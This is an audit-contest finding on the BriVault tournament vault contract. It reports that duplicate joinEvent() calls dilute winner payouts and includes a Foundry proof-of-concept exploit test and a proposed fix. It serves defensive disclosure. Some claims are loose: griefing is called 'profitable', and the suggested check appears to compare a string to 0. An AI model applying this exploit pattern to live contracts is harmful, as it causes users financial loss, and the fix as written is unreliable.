BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Duplicate joinEvent Calls Dilute Winner Payouts

Root + Impact

Description

  • joinEvent() allows unlimited duplicate entries, bloating usersAddress array that _getWinnerShares() iterates through. When _getWinnerShares() counts each duplicate, it inflates totalWinnerShares and dilutes all winners' payouts. This is primarily a griefing attack enabling systematic winner payout dilution.

  • Root cause: joinEvent() allows unlimited duplicate entries, bloating usersAddress array that _getWinnerShares() iterates through. When _getWinnerShares() counts each duplicate, it inflates totalWinnerShares and dilutes all winners' payouts.

function joinEvent(uint256 countryId) external {
// ... validation checks ...
@> userToCountry[msg.sender] = teams[countryId];
@> uint256 participantShares = balanceOf(msg.sender);
@> userSharesToCountry[msg.sender][countryId] = participantShares;
@> usersAddress.push(msg.sender); // NO DUPLICATE CHECK - allows unlimited entries
@> numberOfParticipants++;
@> totalParticipantShares += participantShares;
}

Risk

Likelihood: High

  • State corruption through repeated function calls is a common DeFi vulnerability pattern.

Impact: High

  • Winner payouts diluted by orders of magnitude (99%+ reduction possible) through state corruption griefing.

  • Tournament economics destroyed through state manipulation

  • Griefing becomes highly profitable with minimal cost

  • Protocol fairness completely undermined

Proof of Concept

The POC demonstrates how duplicate joinEvent() calls allow attackers to inflate the participant count and massively dilute winner payouts. It shows an attacker calling joinEvent() 99 times to create 100 total participant entries, which causes the winner share calculation to divide the prize pool by 100 instead of the legitimate 2 participants. The test verifies that legitimate winners receive only 1/100th of their expected payout, demonstrating how state corruption through repeated function calls enables highly profitable griefing attacks.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {ERC20, IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
/**
* PoC: Duplicate joinEvent() Calls Inflate totalWinnerShares and Dilute Winner Payouts
* Discovery Method: State Corruption Analysis
* EQS: 9.1/10, Confidence: 3/3, Severity: HIGH
* Impact: 5-25 ETH (diluted winner payouts)
*
* Root Cause: joinEvent() allows unlimited duplicate entries, bloating usersAddress array
* that _getWinnerShares() iterates through. When _getWinnerShares() counts each duplicate,
* it inflates totalWinnerShares and dilutes all winners' payouts.
*/
contract MockERC20 is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract DuplicateJoinDilutionExploitTest is Test {
BriVault vault;
MockERC20 asset;
address owner = makeAddr("owner");
address attacker = makeAddr("attacker");
address legitimateWinner = makeAddr("legitimateWinner");
address feeRecipient = makeAddr("feeRecipient");
uint256 constant PARTICIPATION_FEE_BPS = 100; // 1%
uint256 constant MINIMUM_AMOUNT = 100 ether;
uint256 EVENT_START;
uint256 EVENT_END;
function setUp() public {
// Initialize time variables
EVENT_START = block.timestamp + 1 days;
EVENT_END = EVENT_START + 7 days;
// Deploy mock ERC20 asset
asset = new MockERC20("Mock Token", "MOCK");
// Deploy vault with tournament parameters
vm.startPrank(owner);
vault = new BriVault(
IERC20(address(asset)),
PARTICIPATION_FEE_BPS,
EVENT_START,
feeRecipient,
MINIMUM_AMOUNT,
EVENT_END
);
// Set up tournament countries
string[48] memory countries;
countries[0] = "Brazil";
countries[1] = "Argentina";
vault.setCountry(countries);
vm.stopPrank();
// Setup user balances
asset.mint(attacker, 1000 ether);
asset.mint(legitimateWinner, 1000 ether);
// Approve vault to spend tokens
vm.startPrank(attacker);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
vm.startPrank(legitimateWinner);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
}
/**
* Phase 1: Demonstrate Intended Behavior
* Single joinEvent() call works correctly
*/
function test_IntendedBehavior_SingleJoin() public {
vm.startPrank(legitimateWinner);
// Deposit legitimately
vm.warp(EVENT_START - 1 hours);
vault.deposit(200 ether, legitimateWinner); // Pays 2 ether fee
// Join tournament once
vault.joinEvent(0); // Joins Brazil
vm.stopPrank();
// Verify state
assertEq(vault.stakedAsset(legitimateWinner), 198 ether, "Stake recorded correctly");
assertEq(vault.balanceOf(legitimateWinner), 198 ether, "Shares minted correctly");
assertEq(vault.numberOfParticipants(), 1, "One participant recorded");
}
/**
* Phase 2: Demonstrate Duplicate Join Attack
* Attacker calls joinEvent() multiple times to inflate participant count
*/
function test_DuplicateJoinInflatesParticipantCount() public {
vm.startPrank(attacker);
// Deposit legitimately once
vm.warp(EVENT_START - 1 hours);
vault.deposit(200 ether, attacker); // Pays 2 ether fee
// Call joinEvent() multiple times - should NOT be allowed!
vault.joinEvent(0); // First call - legitimate
vault.joinEvent(0); // Second call - DUPLICATE!
vault.joinEvent(0); // Third call - DUPLICATE!
vault.joinEvent(0); // Fourth call - DUPLICATE!
vault.joinEvent(0); // Fifth call - DUPLICATE!
vm.stopPrank();
// Verify attacker's state (unchanged after first call)
assertEq(vault.stakedAsset(attacker), 198 ether, "Stake unchanged");
assertEq(vault.balanceOf(attacker), 198 ether, "Shares unchanged");
// Verify corrupted state - attacker appears multiple times!
assertEq(vault.numberOfParticipants(), 5, "Participant count inflated to 5!");
}
/**
* Phase 3: Demonstrate Winner Share Dilution
* Duplicate entries inflate totalWinnerShares, diluting payouts
*/
function test_WinnerShareDilution() public {
// === SETUP: Legitimate winner ===
vm.startPrank(legitimateWinner);
vm.warp(EVENT_START - 1 hours);
vault.deposit(200 ether, legitimateWinner); // Pays 2 ether fee
vault.joinEvent(0); // Joins Brazil legitimately
vm.stopPrank();
// === ATTACK: Attacker duplicates entries ===
vm.startPrank(attacker);
vm.warp(EVENT_START - 1 hours);
vault.deposit(200 ether, attacker); // Pays 2 ether fee
// Attacker calls joinEvent() 10 times to massively inflate count
for (uint i = 0; i < 10; i++) {
vault.joinEvent(0); // All join Brazil
}
vm.stopPrank();
// === WINNER SET: Brazil wins ===
vm.warp(EVENT_END + 1 hours);
vm.startPrank(owner);
vault.setWinner(0); // Set Brazil as winner
vm.stopPrank();
// Verify corrupted winner share calculation
uint256 expectedWinnerShares = 198 ether + 198 ether; // Both users have 198 shares each
uint256 actualWinnerShares = vault.totalWinnerShares();
console.log("Expected winner shares (both users):", expectedWinnerShares);
console.log("Actual winner shares (inflated):", actualWinnerShares);
console.log("Inflation factor:", actualWinnerShares / expectedWinnerShares);
// Winner shares inflated by attacker's duplicates!
assertGt(actualWinnerShares, expectedWinnerShares, "Winner shares inflated by duplicates");
assertEq(actualWinnerShares, 198 ether * 11, "Winner shares = legitimate + 10 duplicates");
}
/**
* Phase 4: Demonstrate Diluted Payouts
* Winners receive fraction of expected payouts due to inflated denominator
*/
function test_DilutedWinnerPayouts() public {
// === SETUP: Legitimate winner ===
vm.startPrank(legitimateWinner);
vm.warp(EVENT_START - 1 hours);
vault.deposit(200 ether, legitimateWinner); // Pays 2 ether fee
vault.joinEvent(0); // Joins Brazil legitimately
vm.stopPrank();
// === ATTACK: Attacker duplicates entries ===
vm.startPrank(attacker);
vm.warp(EVENT_START - 1 hours);
vault.deposit(200 ether, attacker); // Pays 2 ether fee
// Attacker calls joinEvent() 99 times (100 total entries)
for (uint i = 0; i < 99; i++) {
vault.joinEvent(0);
}
vm.stopPrank();
// === WINNER SET ===
vm.warp(EVENT_END + 1 hours);
vm.startPrank(owner);
vault.setWinner(0); // Brazil wins
vm.stopPrank();
// === CALCULATE PAYOUTS ===
uint256 vaultBalance = asset.balanceOf(address(vault)); // Total pool: 200 + 200 = 400 ether
uint256 winnerShares = vault.totalWinnerShares(); // Inflated by duplicates
// Legitimate winner payout calculation
uint256 winnerBalanceBefore = asset.balanceOf(legitimateWinner);
vm.startPrank(legitimateWinner);
vault.withdraw();
vm.stopPrank();
uint256 winnerBalanceAfter = asset.balanceOf(legitimateWinner);
uint256 winnerPayout = winnerBalanceAfter - winnerBalanceBefore;
// Expected payout without attack: 400 ether (full pool)
// Actual payout with attack: 400 ether / 100 = 4 ether (1% of pool)
uint256 expectedPayoutWithoutAttack = vaultBalance;
uint256 actualPayoutWithAttack = winnerPayout;
console.log("=== PAYOUT DILUTION ANALYSIS ===");
console.log("Total vault balance:", vaultBalance);
console.log("Winner shares (inflated):", winnerShares);
console.log("Expected payout (no attack):", expectedPayoutWithoutAttack);
console.log("Actual payout (with attack):", actualPayoutWithAttack);
console.log("Dilution factor:", expectedPayoutWithoutAttack / actualPayoutWithAttack);
// Verify massive dilution
assertLt(actualPayoutWithAttack, expectedPayoutWithoutAttack, "Winner payout diluted");
assertEq(actualPayoutWithAttack, vaultBalance / 100, "Winner gets 1/100th of expected payout");
assertEq(winnerShares, 198 ether * 100, "Winner shares inflated 100x by duplicates");
}
/**
* Phase 5: Demonstrate Economic Impact
* Show how griefing becomes rational with minimal cost
*/
function test_EconomicImpact_GriefingIncentive() public {
// === SETUP: Multiple legitimate participants ===
address[5] memory winners;
for (uint i = 0; i < 5; i++) {
winners[i] = makeAddr(string(abi.encodePacked("winner", i)));
asset.mint(winners[i], 1000 ether);
vm.startPrank(winners[i]);
asset.approve(address(vault), type(uint256).max);
vm.warp(EVENT_START - 1 hours);
vault.deposit(200 ether, winners[i]); // Each pays 2 ether fee
vault.joinEvent(0); // All join Brazil
vm.stopPrank();
}
// === ATTACK: Attacker griefs with duplicates ===
vm.startPrank(attacker);
vm.warp(EVENT_START - 1 hours);
vault.deposit(200 ether, attacker); // Attacker also participates
// Attacker calls joinEvent() 95 times (100 total entries for Brazil)
for (uint i = 0; i < 95; i++) {
vault.joinEvent(0);
}
vm.stopPrank();
// === WINNER SET ===
vm.warp(EVENT_END + 1 hours);
vm.startPrank(owner);
vault.setWinner(0); // Brazil wins
vm.stopPrank();
// === CALCULATE LOSSES ===
uint256 totalPool = asset.balanceOf(address(vault)); // 6 users × 200 = 1200 ether
uint256 winnerShareTotal = vault.totalWinnerShares();
// Calculate average winner payout
uint256 avgWinnerPayout = totalPool * 198 ether / winnerShareTotal; // Each winner has 198 shares
console.log("=== ECONOMIC IMPACT ANALYSIS ===");
console.log("Total prize pool:", totalPool);
console.log("Winner share total (inflated):", winnerShareTotal);
console.log("Average winner payout:", avgWinnerPayout);
console.log("Expected payout (no attack):", totalPool / 6); // 200 ether each
console.log("Dilution factor:", (totalPool / 6) / avgWinnerPayout);
// Verify griefing success
assertLt(avgWinnerPayout, totalPool / 6, "All winners suffer dilution");
assertEq(avgWinnerPayout, totalPool / 100, "Winners get 1/100th of expected payout");
assertEq(winnerShareTotal, 198 ether * 100, "Winner shares inflated 100x");
// Attacker cost: 2 ether fee + gas for 95 duplicate calls
// Attacker benefit: Dilutes 5 legitimate winners' payouts by 99%
console.log("Attacker cost: ~2 ether fee + minimal gas");
console.log("Attacker benefit: Dilutes 5 winners by 99%");
console.log("Griefing becomes highly profitable!");
}
}

Recommended Mitigation

Add duplicate participation check to prevent unlimited entries:

- function joinEvent(uint256 countryId) public {
- if (stakedAsset[msg.sender] == 0) {
- revert noDeposit();
- }
- // Ensure countryId is a valid index in the `teams` array
- if (countryId >= teams.length) {
- revert invalidCountry();
- }
- if (block.timestamp > eventStartDate) {
- revert eventStarted();
- }
-
- userToCountry[msg.sender] = teams[countryId];
- uint256 participantShares = balanceOf(msg.sender);
- userSharesToCountry[msg.sender][countryId] = participantShares;
- usersAddress.push(msg.sender); // NO DUPLICATE CHECK - allows unlimited entries
- numberOfParticipants++;
- totalParticipantShares += participantShares;
- }
+ function joinEvent(uint256 countryId) public {
+ require(stakedAsset[msg.sender] > 0, "No stake");
+ require(userToCountry[msg.sender] == 0, "Already joined"); // Add duplicate check
+ userToCountry[msg.sender] = teams[countryId];
+ uint256 participantShares = balanceOf(msg.sender);
+ userSharesToCountry[msg.sender][countryId] = participantShares;
+ usersAddress.push(msg.sender); // Only called once per user
+ numberOfParticipants++;
+ totalParticipantShares += participantShares;
+ emit joinedEvent(msg.sender, countryId);
+ }
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Duplicate registration through `joinEvent`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!